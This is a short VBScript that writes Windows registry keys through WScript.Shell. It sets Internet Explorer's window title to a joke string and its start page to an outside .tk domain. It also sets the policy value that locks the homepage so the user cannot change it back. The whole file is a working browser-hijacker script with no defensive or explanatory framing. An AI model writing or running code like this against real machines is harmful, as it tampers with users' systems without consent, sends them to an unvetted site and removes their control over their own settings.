Option Explicit

Dim WSHShell, p, p1, p2, p3, cn, dn, itemtype

Set WSHShell = WScript.CreateObject("WScript.Shell")
p = "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title"
p1 = "HKLM\Software\Microsoft\Internet Explorer\Main\Window Title"
cn = "El ExPloReR ZuRdiTo"
dn = "http://elmanicomioruso.tk"
p2 = "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage"
itemtype = "REG_DWORD"
p3= "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"


WSHShell.RegWrite p, cn
WSHShell.RegWrite p1, cn
WSHShell.RegWrite p2, 1, itemtype
WSHShell.RegWrite p3, dn